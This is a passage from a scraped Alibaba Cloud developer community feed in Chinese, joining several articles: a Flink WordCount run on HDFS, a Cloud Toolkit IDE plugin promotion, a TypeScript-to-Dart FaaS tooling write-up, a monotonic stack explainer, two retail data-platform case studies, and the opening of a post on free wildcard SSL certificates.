                  /usr/local/flink-1.9.0/examples/batch/WordCount.jar 
                  --input dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/input 
                  --output dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/output 

                  其中,dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290为文件存储HDFS的挂载点,请根据您的实际情况替换。
                  4、查看在文件存储HDFS上的结果文件。

                  /usr/local/hadoop-2.7.2/bin/hadoop fs -cat dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/output

                  其中,dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290为文件存储HDFS的挂载点,请根据您的实际情况替换。
                  3.png

                  阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

                  ]]>
                  IDEA 中 30 秒生成 Spring Cloud Alibaba 工程-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.png

                  作者 | 图恩  阿里云技术专家

                  如果你想使用 Spring Cloud Alibaba,那么你遇到的第一个问题一定是如何快速的创建一个脚手架工程。

                  近日,阿里巴巴发布了 Spring 的国内脚手架定制版 Aliyun Java Initializer,因为全中文界面和流畅速度,被广大开发者热传。Spring 脚手架为开发者提供了丰富的可选组件,并且可以选择多种打包方式,大大方便了开发人员的使用。Web 端 Spring 脚手架可以帮助用户快速上手,但很多开发者也面临一个问题:在 Web 版本 Spring 脚手架生成工程最终要导入 IDE 中,开发者需要进行 IDE 切换,在一定程度上,增加了开发时间。

                  无需切换 IDE

                  为了更加贴近用户开发场景,提高开发效率,让开发者无需从 IDE 切换出去,通过插件功能 30 秒直接生成 Spring Cloud Alibaba 工程,自动导入。我们在本地 IDE 插件 Alibaba Cloud Toolit 中提供了与 Spring 脚手架定制版 Aliyun Java Initializer一样的功能,让你无需切换,30 秒一键生成 Spring Cloud Alibaba 工程。

                  Cloud Toolkit 四步创建 Spring Cloud Alibaba 框架

                  如果还没有安装过 Cloud Toolkit,可以在 IDEA 插件市场搜索我们的插件进行安装。安装之后,就可以直接使用创建 Spring Cloud Alibaba 脚手架工程的功能了。

                  1.在新建工程的面板左侧找到 Alibaba Java Initializer,选择工程 SDK,点击下一步;

                  2.png

                  2.选择工程元数据,目前我们支持 maven 和 gradle 两种构建方式,Java,Kotlin 和 Groovy 三种开发语言,选择好元数据后点击下一步;

                  3.png

                  3.选择工程的依赖组件,我们提供了非常丰富的依赖组件,左侧是组件的类别,基本涵盖开发一个系统需要的基础依赖,如果你有特殊的需求,可以给我们留言。中间是具体的组件,有组件的基本介绍和相关文档链接。选择好依赖组件后,点击下一步;

                  4.png

                  4.点击完成,Cloud Toolkit 就自动完成工程的创建和导入了,只需 4 步,就可以愉快的体验 Spring Cloud Alibaba了。

                  一键部署神器 Cloud Toolkit

                  Cloud Toolkit 是阿里云发布的免费本地 IDE 插件,帮助开发者更高效地开发、测试、诊断并部署应用。通过插件,可以将本地应用一键部署到任意服务器,甚至云端(ECS、EDAS、ACK、ACR 和 小程序云等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具。目前已支持 IntelliJ IDEA 主流版本、 Eclipse、Pycharm、Maven、VSCode 版本。

                  大家可以在各个IDE(IntelliJ,Goland,PyCharm,Eclipse,Visual Studio Code)搜索“Alibaba Cloud Toolkit”,即可安装。

                  相比传统的开发和部署模式,Cloud Toolkit 的所有能力均采用了嵌入到本地IDE的创新方式,这样能够最大限度的减少开发者在不同工具间切换的成本。在开发和部署这个环节上,Cloud Toolkit 能够将原本每次 7-8 分钟的繁琐工作,大大缩短到 20 秒内,开发者可以非常方便的在IDE 内,一键完成应用程序的部署工作。关于传统方案和 Cloud Toolkit 方案的对比,如下图所示:

                  5.png

                  此外,Cloud Toolkit还提供了大量云原生开发过程中的提效工具,还包括一些常用的功能,比如:

                  • 本地 IDE 内项目一键部署到任意远程服务器
                  • 本地 IDE 内项目一键部署到任意 Kubernetes
                  • 本地 IDE 内项目一键打包并推送 Docker 镜像到阿里云镜像仓库
                  • 本地 IDE 内项目一键部署到阿里云ECS、EDAS、SAE 、Web+、小程序云和ACK
                  • 内置 Terminal 终端
                  • 文件上传器
                  • 查看远程服务器运行时日志
                  • 阿里云小程序开发工具
                  • 阿里云函数计算开发工具
                  • 内置 SQL 执行器
                  • Apache Dubbo 和 Spring Cloud 框架项目模板&代码生成
                  • 远程 Java 程序运行时诊断工具
                  • 微服务远程调试

                  点击了解产品详情:https://cn.aliyun.com/product/cloudtoolkit

                  欢迎加入 Cloud  Toolkit 钉钉交流群

                  6.png

                  钉钉扫描上方二维码,立即开始交流

                  阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

                  ]]>
                  基于dart生态的FaaS前端一体化建设-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术-羲凡

                  背景

                  随着Flutter对现有业务的不断参透,闲鱼Serverless基建的重心也倾向了dart生态,先是将dart容器打包到服务器上,实现dart编程语言的统一,在统一的容器之上实现编程框架一体化(nexus、story),以及后端领域服务一体化。基于dart生态下,前端的FaaS在研发交付其实并不高效,研发阶段主要面临的问题是:
                  编程语言不统一 编程语言本身虽然不是最大的障碍,但这也确实给前端开发者增加不少门槛,而且更重要的是语言背后的生态、环境与体系更是一道高高的墙。
                  工程割裂与背后环境复杂 端侧一个工程,FaaS侧也有一个独立的工程,它们背后都有着自己的一套构建、调试、集成/发布的工具链;除此之外FaaS还有自己配套的环境、runtime、框架作为支撑。开发者面对这样复杂的FaaS研发环境与双重的研发工作流是无法做到高效交付的。

                  编程语言一体化

                  Typescript作为Javascript的超集,弥补了Javascript的静态类型检查,同时扩展了很多OOP的语法特性,使得TS跟dart在语法特性上有非常多相似的地方,未后面的转换提供了可能与便利。要实现语言层面转换背后都会有一个小型的编译器在支撑着,不过幸运的是Typescript官方已经提供语法解析器,通过它我们很容易就拿到一份可靠的AST,所以我们只需要实现一个dart generator就行了。生成器大致可以分为四个层面的工作:

                  • 基础语法转换
                  • 原生方法差异转换
                  • 业务框架桥接
                  • 依赖库与头文件桥接

                  基础语法转换 

                  这部分很好理解,就是最基本的语法层面转换,用个最简单的例子看下。
                  image.png

                  原生方法差异抹平 

                  两种语言在内置原生方法上也有很大区别,举个例子:可以看到下面数组的实例方法在两种语言体系上是不一致的,除了数组插入还有很多很多原生方法是不一致的。当然也没太必要被这个难以想象的数量吓到,大多数情况:90%的场景只会用到那10%的方法,完成了10%的转换就能cover到90%的场景。

                  // ts
                  list2.push(10)
                  
                  // dart
                  list2.add(10)

                  要实现系统方法的差异转化首先要识别出该方法是来自于哪个类,比如说 list2.push(10) 我不可能只检查 push ,因为随便一个类/对象都可以实现一个push方法。我们必须识别出 list2.push 的 push 属于 Array.push,别忘了整个typescript编译器中占比最大的类型检查器 ts.TypeChecker ,它可以很好的帮我们解决这个问题。大致思路如下:
                  image.png

                  业务框架桥接 

                  在完成上面两块能力转换后,常规裸写一段逻辑进行转换问题是不大的;但业务是不可能裸写,业务需要框架,需要借助框架进行通讯、与容器打交道。需要借助框架进行业务抽象,更好的组织、管理业务逻辑。我们来看个例子:

                  DartMtopResult<String> result = await HsfServices.request(moduleName, parameter);

                  上面的这段代码是用于在dart侧进行内部服务请求的,从代码表明我们可以获取到三部分信息:

                  1. 有一个HsfServices的类
                  2. HsfServices有一个同步返回结果的request方法,接收两个参数
                  3. 最终返回DartMtopResult的数据结构

                  我们再翻一下 request 的实现与 DartMtopResult 的申明:

                  // DartMtopResult.dart
                  class DartMtopResult <T> implements xxxx {
                    T data;
                    bool success;
                    String errMsg;
                    String errCode;
                  
                    // more code hidden
                  }
                  
                  // HsfServices.dart
                  class HsfServices {
                      // more code hidden
                    static Future<DartMtopResult<String>> request(String moduletName, String parameter) async {
                      // more code hidden
                    }
                    // more code hidden
                  }

                  就看这么多足够了,打个比方如果我希望在typescript侧编写一个能用 HsfServices.request 发请求的ts代码且不报错,那应该怎么做呢?像下面这样申明一个:

                  // HsfServices.d.ts
                  export declare class HsfServices {
                    static request(moduletName: string, parameter: string): Promise<DartMtopResult<string>>;
                  }
                  // DartMtopResult.d.ts
                  export declare class DartMtopResult<T> {
                    data: T;
                    success: boolean;
                    errMsg: string;
                    errCode: string;
                  }
                  
                  // business.ts
                  import {HsfServices} from "HsfServices.d.ts"
                  import {DartMtopResult} from "DartMtopResult.d.ts"
                  const result: DartMtopResult<string> = await HsfServices.request<DartMtopResult<string>>('recycleGet', parameter);

                  非常简单就能让业务逻辑正常写下去并且不报错。但你肯定会说这样的代码也没法运行起来,是的,但我并不需要上面代码运行起来,我需要的是将它转成dart,并能在dart runtime中运行就可以了。大致的桥接思路如下:
                  image.png

                  依赖库与头文件桥接 

                  这部分工作是从业务框架桥接中衍生出来的,我们还是用一个例子来说明一下问题产生的原因。

                  // business.ts
                  import {HsfServices} from "@ali/faas-hsf"
                  import {DartMtopResult} from "@ali/faas-mtop-result"
                  const result: DartMtopResult<string> = await HsfServices.request<DartMtopResult<string>>('recycleGet', parameter);
                  // business.dart
                  import 'package:hsf_services/hsf_services.dart';
                  import 'package:dart_mtop_result/dart_mtop_result.dart';
                  DartMtopResult<String> result = await HsfServices.request(moduleName, parameter);

                  可以看到上面逻辑除了发请求部分要转成dart,还有业务引用头文件需要桥接过去,而头文件的引入通常是靠pub依赖包(pubspec.yaml)安装进来的,就意味着转换器需要拿到 @ali/faas-hsf 对应dart侧的pub包与引入头文件。我们的解决思路大致是这样的:在@ali/faas-hsf 模块中放入 faas.yaml 文件来指定对应的映射关系。

                  @ali/faas-hsf
                  |--lib/
                  |--faas.yaml
                  |--package.json
                  
                  // faas.yaml
                  faas_pub:
                      # 映射的dart侧依赖包
                      hsf_services: ^1.1.7
                    # 映射引入头文件
                      index: hsf_services.dart

                  研发过程中再通过工程脚手架来自动完成这之间的映射关系的提取:头文件映射与依赖包映射。头文件映射最终会交给转换器,而依赖包映射会交给背后自动维护着的dart工程(后面会提到背后自动维护的dart工程)。大概的思路如下图所示:
                  image.png

                  研发工程一体化

                  编程语言一体化只是整个FaaS一体化研发的第一步,也只有统一了编程语言之后,背后的生态(npm)、工具链(build)与工程才可能一体化。我们看下现状:开发者面对的是两个割裂的工程,两套不同的环境、生态。这正如文章一开始所说的:编程语言本身不是最大的障碍,但语言背后的环境与生态却是一道高高的墙。在我们统一编程语言之后,研发工程一体化就变得可行了。
                  image.png
                  正如上图所示,FaaS工程本身的复杂在于整个工程需要运行在一个本地容器之中,因为容器要为工程提供runtime、相应的工具链、框架依赖等能力。所以本地容器本身是必不可少的,我们能做的只是尽可能让开发者无感容器的存在;除此之外还要对两个工程的逻辑做一定的融合,大致可以抽象成四部分工作:

                  研发代码层面融合 

                  代码层面融合包括两部分:业务逻辑融合、业务逻辑所依赖编程框架融合。分别体现在 faas_src 存放业务逻辑的ts版,package.json 存放业务逻辑所依赖的编程框架(前面我们介绍到业务框架桥接最终就体现在端侧的依赖包上)

                  ├── faas_pub.yaml
                  ├── faas_src
                  │   └── Home
                  │       └── index.ts
                  ├── package.json
                  ├── src
                  │   ├── components
                  │   └── pages
                  │       └── Home
                  │           ├── index.css
                  │           └── index.js
                  └── README.md

                  FaaS侧的工程黑盒化

                  使端侧脚手架全权接管FaaS侧的工程初始化、热部署、调试信息,暴露出来给开发者的只有一套工具链,只有两个指令 init  dev ,让开发者0门槛初始化出一套统一而可靠环境的FaaS工程。
                  image.png

                  对接编译器进行研发实时编译 

                  这部分主要负责对接转换器实时将ts编译成dart,并同步到黑盒中的FaaS工程。在实时编译过程有两部分内容:一部分是纯ts逻辑编译成dart,另一部分是依赖包的同步安装,其中 faas_pub.yaml 由脚手架通过探测端侧package.json中的faas依赖包来进行提取生成的,并不需要人工维护。
                  image.png

                  串联调试阶段的编译流

                  从保存每一个改动到在浏览器上能成功发起一个faas函数请求,这之间大致经过这些步骤:监控改动、编译代码、产物部署的流,由统一的端侧脚手架进行串联起来。
                  image.png

                  总结

                  经过编程语言的一体化后,我们不仅为开发者提供一种熟悉的技术栈,也为后面工程一体化提供了可能性;再经过工程一体化后,我们为开发者解决了工程割裂,解决背后复杂的FaaS本地运行环境,带来与原研发模式基本一致的研发体验。
                  image.png

                  后续

                  一体化之路还很多要去建设的,调试、发布、回滚等等;除此之外,FaaS毕竟还是运行在后端,最终通过网络协议与端侧通讯,那在两份代码中必然存在两份数据结构申明,两套封包解包逻辑;这为后面数据结构的一体化与自动化建设提供了很好的发挥余地。

                  ]]>
                  动画:什么是单调栈? | 算法必看系列二十七-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

                  原文链接

                  定义

                  小伙伴们都应该非常熟悉栈,栈的一个很鲜明的性质就是:先进后出

                  而所谓 单调栈 则是在栈的 先进后出 基础之上额外添加一个特性:从栈顶到栈底的元素是严格递增(or递减)

                  具体进栈过程如下:

                  • 对于单调递增栈,若当前进栈元素为 e,从栈顶开始遍历元素,把小于 e 或者等于 e 的元素弹出栈,直接遇到一个大于 e 的元素或者栈为空为止,然后再把 e 压入栈中。
                  • 对于单调递减栈,则每次弹出的是大于 e 或者等于 e 的元素。

                  例子

                  单调递增栈 为例进行说明。

                  现在有一组数

                  3,4,2,6,4,5,2,3

                  让它们从左到右依次入栈。

                  具体过程如下:
                  image.png

                  作者 | 程序员小吴
                  来源 | 五分钟学算法

                  ]]>
                  美妆国货的转型勇气:伽蓝All in数据中台-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 有别于往年国外大牌独领风骚,近几年,借着国潮的“东风”,国货美妆迎来了空前的热度。在和外资品牌的博弈里面,本土品牌连续几年整体的市场份额持续上升。

                  这其中,拥有“国货之光”自然堂的伽蓝集团俨然成为国货美妆的领跑者:去年双11期间,“国货之光”自然堂凭借全网7.47亿的销售额,拿下天猫旗舰店美妆国货冠军、天猫美妆类目国货冠军、全网美妆国货冠军“三料王”。

                  20200401144514_6247.jpg

                  伽蓝集团2001年创立于上海,是一家高科技型美妆企业,致力于为消费者提供世界一流品质的产品和服务、向世界传播东方美学价值。先后创立了:中国原创高端美妆品牌——美素、源自喜马拉雅的自然主义品牌——自然堂、敏感肌肤护肤品牌——植物智慧、Z时代高功效护肤品牌——春夏、专业功效性护肤品牌——珀芙研、专业小众潮妆——COMO等六个品牌;坚持世界顶尖科技与东方美学艺术完美结合,在研发、制造、零售、客服、运营、形象等各方面实现科技化,目前已经通过自主研发与科技创新,拥有“3D皮肤模型”、“外太空护肤科研”、“表观遗传学应用”等多项世界领先的尖端科技。

                  虽然当下花团锦簇,不过随着新势力不断崛起,以及外资品牌对中国市场重视程度的不断提高,诸如伽蓝集团这样的国货美妆“头部玩家”也在未雨绸缪,思考如何应对今后日益激烈的市场环境。

                  数智化转型升级是未来的趋势,但是在实际操作中,具体该怎样有序推进数智化转型升级?伽蓝集团与阿里云合作的数字中台项目,也许可以给美妆行业一些借鉴。

                  从懵懂到All in

                  在阿里云高级项目管理专家董申曦看来,对于数智化转型,伽蓝集团的态度非常坚决。

                  2018年,伽蓝集团萌发了要做数字中台的想法,但具体到如何开展却还处于懵懂状态。直到年末时,伽蓝团队受邀阿里巴巴ONE商业大会。想法与现实邂逅,参加大会的伽蓝团队对数智化战略转型以及组织变革有了全新的认识。这其中,包括了伽蓝集团董事长郑春颖。

                  20200401144515_1950.jpg

                  在郑春颖的积极推动下,2019年,伽蓝集团数智化转型迅速提上日程,在内部成立了伽蓝数智化战略转型委员会,而该委员会的总负责人正是郑春颖本人,伽蓝集团的数智化中台项目成了董事长工程。

                  数智化转型并非一朝一夕之事,与阿里云合作数据中台项目成为伽蓝集团的切入点。在伽蓝看来,数据中台是企业完成数智化转型的必经之路。

                  数据中台本质上是一种数字技术。通过对数据进行沉淀、管理和应用,生成一系列的数据产品,数据产品包括驾驶舱、新品策略、消费者运营、终端销售、供应链策略等,这些数据产品具有规范化、标准化、资产化、智能化的特征,用这些数据指导营销策略、人群运营、产品创新、销售计划、行业趋势、舆情判断、供应链管理等。

                  2019年11月,伽蓝集团数据中台项目正式启动,并将于2020年6、7月份左右完成中台搭建,正式上线项目一期。在数据中台建设上,阿里云有着一套完整的方案,整个建设过程一般是分成数字资产调研、MRD蓝图设计、PRD功能设计、数据产品开发、上线5个步骤。数据中台项目目前处于PRD功能设计阶段。

                  据董申曦介绍,在数据中台项目一期中,阿里云针对八个域做了一些筛选、调研、设计和分析,这八个域分别是会员、积分、消费者、商品、营销、门店、BA(导购)、渠道销售。“这八个域里面我们根据调研结果,帮他们设计指标洞察的维度,核心的指标,上线之后会给到他们对于这几个部分的数据的支撑和洞察。虽然是八个域,但本质是以消费者为中心的数据联动和洞察。”

                  事实上,除了数据中台的应用,伽蓝在2018年就与阿里云合作全面上云,钉钉在线帮助伽蓝顺利度过疫情期间的远程办公。可以说,伽蓝基本实现了基础设施云化、触点数智化、业务在线化、运营数据化和决策智能化,完整走完了阿里云为零售行业制定的数智化转型“五部曲”。

                  随着新消费群体的快速成长与变化,产业链上下游变得越来越复杂,新品创新力日益成为企业的核心竞争力,各个环节需要高度协同,才能形成长期竞争优势。而全链路数智化能力,就是未来化妆品牌真正比拼能力的基础条件。

                  打破内部数据孤岛

                  20200401144517_2653.png

                  在伽蓝集团市场调研部高级总监罗欢看来,数据中台的存在,可以更加高效地帮助伽蓝打破原有界限,实现品牌之间、渠道之间、线上与线下的数据共通;更好地帮助企业理解数据、运营数据,实现精准化营销策略、消费者人群化运营和创新产品研发导向。

                  伽蓝集团旗下拥有自然堂、美素、植物智慧、春夏、COMO等6个美妆品牌,各品牌又拥有商场渠道、KA渠道、电商渠道等。不同的渠道之间又是一个独立运营的体系,所以伽蓝内部原本的系统建设呈现也是烟囱式。这就造成了不同品牌之间,不同的渠道之间,数据会比较独立,容易形成数据孤岛,无法发挥数据效益最大化。

                  罗欢举了一个例子,“比如对流失客户的定义。在A品牌,用户N天没有买将被定为流失客户;但在B品牌,可能要X天没有购买才能被定为流失客户。这种定义的不同,会造成我们做整体分析的时候的不准确。”

                  事实上,数据孤岛问题以及数据碎片化是不少零售企业的痼疾。如何梳理和整理这些数据,使之标准化、规范化,并将整个链路打通,成为闭环,成为这些企业数智化转型的最根本的诉求。

                  数据中台的存在,则是有效解决这些问题的一剂良方。通过梳理和整合原本“各自为政“的数据,打造自己企业本身的数据中台的能力,可以为企业业务的分析、洞察提供支撑。而这也是伽蓝集团以数据中台为数智化转型起点的一大重要原因。

                  尽管完整的数据中台要到年中上线,但作为与经常与数据打交道的市调岗位,罗欢目前已经感受到了数据中台为日常工作带来的高效。

                  在营销方面,市场调研的工作是覆盖产品全生命周期的,从前期的洞察到后面营销阶段,都需要评估各阶段的有效性。罗欢说:“过去,我们判断效果是否达到目标,采用的是传统抽样的方式,比如参加到我们活动里面的人和没有参加到我们活动的人之间的比较,对我们品牌形象有没有变化,对购买力有没有变化等。而现在消费者的触点全都被数智化沉淀下来,再通过自有的数据产品,获得营销效果方面的一些洞察,会比传统数据收集方式高效很多。”

                  罗欢所提及的数据获取只是很小的一部分,董申曦以“人、货、场”中的“人”为例,介绍了数据中台的场景化运用。

                  原来线上人群与线下人群之间各自独立,企业无法去做线上线下的互相引流。数据中台建设完成后,便可以打破其中的隔阂,统一到数据中台里面去做全盘的分析。比如通过商品的品类做差异化分析,引导线下经常购买某类产品的人员去往线上,从提高客单价的方向去引流;线上则可以发一些线下的优惠券,相当于可以做线上线下的互相引流。这些在原来没有数据中台的时候,是很难做到的。

                  在董申曦看来,预计到7月份数据中台一期建设完成以后,伽蓝整体的数智化运营能力会相对比之前上一个台阶。

                  二期聚焦供应链

                  目前与阿里云合作的数据中台一期项目,除了作用于营销层面,也让伽蓝原有的组织架构发生了翻天覆地的变化。

                  “为配合我们数智化的转型,整个集团内部也是做了一个架构方面比较大的调整。”罗欢表示,伽蓝组织模式从金字塔型变革为平台型,分为前台业务组织、中台支持组织和后台管理组织三类。其中中台组织包括研发中心、供应链中心、大数据中心等,以更高效地赋能前台业务组织。

                  “这可以说是(伽蓝集团)十年以来最大的一次变革。” 在伽蓝工作近十年的罗欢如是说。

                  据罗欢介绍,新营销、新组织只是伽蓝数智化转型中的两大方向。数据中台完成之后还将不断迭代,延伸至新供应链、新金融等领域。

                  “数据中台一期的核心目标是围绕消费者的,以消费者的运营为主来洞察整个的人货场三个部分的结合。” 董申曦透露,“未来,二期的规划重点将集中于供应链,以伽蓝自身供应链为主,对其供应链做一些洞察设计,从生产、铺货、调拨、出入库等方面做深度的调研、设计和分析。”

                  “伽蓝一直致力于打造成为高科技的美妆企业。我们希望能够拥抱消费者,去跟消费者建立连接,最重要的是为消费者提供更加适合他们,更优质的产品和服务。同时,作为美妆行业的一个引领者,我们也希望能够起到一个带头的作用,去利用数智化的力量,去创新美妆行业一些新的商业模式,重构我们的核心竞争力。”罗欢认为,整体数智化之后能够赋能到整个产业链,未来消费者的需求会更加个性化,始终围绕以消费者为中心进行数智化转型,能够让伽蓝最终在消费者心智中站稳脚跟。

                  更多关于数智化转型、数据中台内容可扫码加入数智洞察社一起交流哦
                  5

                  ]]>
                  贝因美:为什么奶粉品牌也需要数据中台?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800   过去十年间,大消费、新零售,在中国是迭代最快、变革最大的行业,没有之一。

                    10年前,快消品的分销,仍处于传统的“逐级+市场专员”的阶段。电商的影响尚不显著,“线上+线下”全渠道的概念还远未诞生。

                    在当时,品牌商最关心的事,是经销商进了多少货。至于消费者,在链条的另外一端,距离很远,也不知道是谁。
                  1.jpg

                    10年后,线上与线下的渠道边界已然模糊,销售层级明显压缩,品牌商开始直面消费者。

                    这就是所谓的“智慧零售”时代。

                    当下,几乎所有行业都在数字化转型。大消费当然不例外,有些品牌靠自我迭代,更快捷的路径是依靠互联网巨头。

                    12月25日,国内奶粉巨头贝因美与阿里云达成的合作,也是如此考虑。

                    二者将基于阿里云数字技术、阿里经济体零售生态,打造智慧门店、数据中台,以及适应企业发展的“最强”业务大脑。

                    数据中台有何用?

                    “数据中台”,可能是过去一年,在国内互联网圈、投资圈最火的名词。头部互联网公司且不必说,银行这样的金融机构都在搭建中台。

                    阿里巴巴即将和贝因美一起打造数据中台。贝因美身为婴童品牌商,为何需要数据中台?

                    而且,何为数据中台?

                    通俗而言,在负责前方攻城略地的“前台”、负责提供支援的“后台”之间,搭建一个可以反复使用的“数据与技术”平台,就是数据中台。

                    数据中台承前启后,输出标准化的技术方案,以解决后台无法快速跟上前台业务需求的问题,前台的战斗力也由此放大。

                    在贝因美所在的奶粉行业,线下母婴店与电商,是最重要的两个销售渠道,占比持续提升。

                    然而,这两个渠道却是相互割裂的。

                    母婴店一般是连锁、或者本地企业,品牌商对其控制力有限。电商,则是品牌商自营。
                  2.jpg
                    割裂的结果是:线上线下的会员信息无法统一、营销活动难以协调、产品的终端销售情况经过层层反馈的时间成本和信息损耗也很高。

                    这就是贝因美作为品牌商,也需要数据中台的原因。

                    几年前,贝因美就发现:前端的实体店、网店、微博、微信、新媒体互动等有非常显性的流量数据。而后台又是订单处理、结算系统、库存管理、客户关系管理等业务数据处理平台。

                    前后台如何全面链接?前端的流量如何转化为后台可以处理的数据订单?如何满足个性化的需求?甚至于如何让“反向定制”、“订单驱动”等成为可能?贝因美创始人谢宏觉得,这些才是转型升级的关键。

                    通过数据中台,贝因美可将不同部门产生的数据标准化、资产化、服务化。

                    举个例子,在新兴的互联网营销活动中获取的新客、或是在线下门店的访客,信息可以打通,形成完整的用户画像,洞察消费者,把顾客消费周期的宽度和长度做得更好。

                    “大家都希望能够上下打通,建立全渠道,但说起来容易、做起来难,这中间有很长的路要走,而且走起来非常艰难。” 贝因美创始人谢宏在个人的公众号中写道。

                    与阿里云合作的意义,谢宏认为,是用“数智化”中台打通任督二脉。

                    即新零售中最著名的理论:人、货、场的统一。数据中台的结果,是全域营销。

                    全域营销正盛行

                    线下门店的两大痛点,曾经让品牌商和零售商都痛不欲生。

                    首先,不了解自己的顾客。

                    这意味着无法针对性的营销,也不知道顾客到底喜欢什么。

                    其次,总部无法对门店有效管控,或者品牌商无法及时收到零售商的数据反馈。

                    这意味着,反馈链条之长:品牌商可能要过很久,才知道不同产品的销售情况,再制定对应的营销方案,再推送至门店,前前后后所费时间则更长。

                    而互联网、新零售改变了这一切。

                    如今,在瑞幸咖啡、完美日记等新零售的线下店,采用的是“手机端注册+在线下单+现场取货”模式,正是为了掌握用户数据和前端信息,意在运营效率。

                    而对贝因美这样的快消品企业,打造这样的智慧门店,并不容易。

                    因此,贝因美就需要像阿里云这样的技术能力、以及新零售经验,因地制宜,打通生产、流通及消费者服务环节。贝因美的各业务部门之间,实现“智联”。

                    未来,全域营销的愿景是:

                    一、以数据中台为工具,线上线下数据及时采集、存储、分析、共享。
                    二、会员全域服务。更懂顾客,捕捉、分析消费者场景需求,把会员规模做大、服务做精、粘性做强。

                    三、全渠道产品销售的实时反馈、动态分析,产品定位更贴近消费者的真实诉求。
                    四、制定精准的营销方案并迅速落地,营销结果快速反馈,避免费用“黑洞”。

                    过去,品牌商经过层层渠道反馈,才知道消费者的反应。现在,一秒钟就知道了。

                    贝因美的组织架构也进行过调整,成立数据营销团队,同时将大客户、电商合并成立一个新的团队,与之对应的,是把传统做法升格为以消费者为核心、以数据赋能的人货场全域营销。

                    一句话来形容,传统行业的核心竞争是“产品思维”,而互联网的核心竞争是“用户思维”。

                    目前,贝因美有100万活跃用户。在会员服务上,“一切业务数据化”,就是贝因美的目标。

                    不一样的“Z世代”

                    实际上,变化的不仅有销售渠道(“场”)、产品(“货”),还有消费者(“人”)的变化。

                    当90后、甚至于95后的“Z世代”成为新一代宝妈、宝爸,年轻人的心完全不一样,消费方式发生了变化,品牌商的战略也随之变化。

                    首先,80后的成长环境,是第一次见到宝洁、肯德基、可口可乐的过程,残存着对进口品牌的额外好感。而在90后的成长过程中,甚至于宝马、奔驰等都是寻常,这就导致90后对进口品牌没有特别的迷恋,而是更加关注品质本身。因此,近年来,国潮涌动、国货品牌迅速崛起。

                    对奶粉而言,品质更至关重要。贝因美的解决思路是:通过数据中台,把生产和销售环节链接起来,从原料采购到产品销售的全过程都有信息化、智能化的追溯系统。

                    也就是说,消费者通过手机,就可以快捷查询产品生产和品质信息。

                    贝因美的这套系统,就是传说中的“智能制造”:模块化、高度集成、过程透明。

                    其次,Z世代的辣妈,除了高品质,还特别看重颜值。她们对产品的诉求,不仅仅是功能,而是要长得漂亮,陈列好看。

                    于是,过去一年多时间里,“年轻”、“网红”是贝因美发展的两个关键词。

                    第三,作为互联网原住民,Z世代的信息传播方式早已不同。短视频、直播、种草等社交媒体,才是他们认知的重要渠道。

                    贝因美意识到这一点,因此与天猫一起,进行了多场工厂溯源直播、现场发货,称之为“看得见的新鲜”。并且,贝因美自建线上育婴顾问团队,通过直播实时互动,打造“育婴专家”的IP。

                    2019年1-9月,贝因美总共开展了线上、线下各类型的消费者活动近5000场,精准覆盖目标人群500万+。

                    效果很明显。前三季度,婴童渠道(线下母婴店)取得近90%的增长;双十一期间,贝因美粉丝数突破160万,同比增长45%,会员数同比增长218%,是天猫奶粉类目第一个突破百万买家数的品牌。

                    数据中台上线之后,贝因美的用户价值挖掘将会被进一步重构。

                    国产奶粉的逆袭

                    曾几何时,国产奶粉品牌被进口品牌完全压制,几无招架之力。

                    近些年,国产奶粉品牌在奶源、配方、生产等环节持续加大投入。“最严奶粉新政”《婴幼儿配方乳粉产品配方注册管理办法》出台,诸多质量不合格的奶粉被淘汰出局,业内优胜劣汰。

                    在这种形势下,贝因美等国产品牌龙头,正在不断夺回市场份额。

                    根据尼尔森发布的《2018年中国婴幼儿配方奶粉市场环境洞察》,国货奶粉的市场份额从2017年的40.7%上升至2018年的43.7%。

                    智慧零售给予了国产品牌一次弯道超车的机会。

                    在A股,家电、食品饮料等大消费板块被视为信仰一般的存在,是核心资产,它们现金流充沛、且受益于行业集中度提高。而被视为朝阳赛道的母婴行业,其突破路径恰恰在于数字化转型。

                    人、货、场的重构,是以“人”为核心,是供应链、线上线下的高度整合,这一切都建立在智能化的基础设施之上。

                    顶着“国产第一奶粉品牌”光环的贝因美,在寻找变局。

                    因为在产品、营销方面的持续创新,仅在近期,贝因美就接连斩获2019中国婴童产业原点奖“、“年度最佳标杆企业大奖”、宝宝树“2019年度行业风向标奖”等奖项,创始人谢宏亦荣获“中国商业70 年功勋模范人物”等称号。

                    此次,贝因美与阿里云的合作,是云计算改造传统行业的一个切面,是消费互联网与产业互联网的一种融合,也是互联网的下半场。
                  3.jpg

                    在这个零售与营销模式急剧变化的时代,只有不断变革、心怀技术的企业,才有未来。

                  更多关于数智化转型、数据中台内容可扫码加入数智洞察社一起交流哦

                  5

                  ]]>
                  免费申请通配符类型SSL证书-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 折腾起因

                  最近做了个小网站wawoo.fun,一个做mac壁纸的小网站,网站还处在初级阶段,不能跟大神的比。网站发布后发现因为没有使用https,谷歌浏览器会在地址栏提示网站不安全。因此想提升下网站的逼格,把网站由http升级为https。

                  阿里云免费证书只支持单域名

                  我买的是阿里云的服务器,因此想到之前看到阿里云有送免费的https证书,遂打开阿里云证书申请页面,发现赠送的免费证书只支持单域名的。我的站点至少需要一个支持wawoo.fun和www.wawoo.fun的证书,申请两个单域名证书,然后再在nginx中分别配置,这个太low了,不是我想要的,通配符证书才是我想要的,但是阿里云的通配符证书太贵了,不是我这个小站长消费的起的,于是放弃阿里云的证书,寻找其他方案。

                  Let's Encrypt提供免费通配符证书

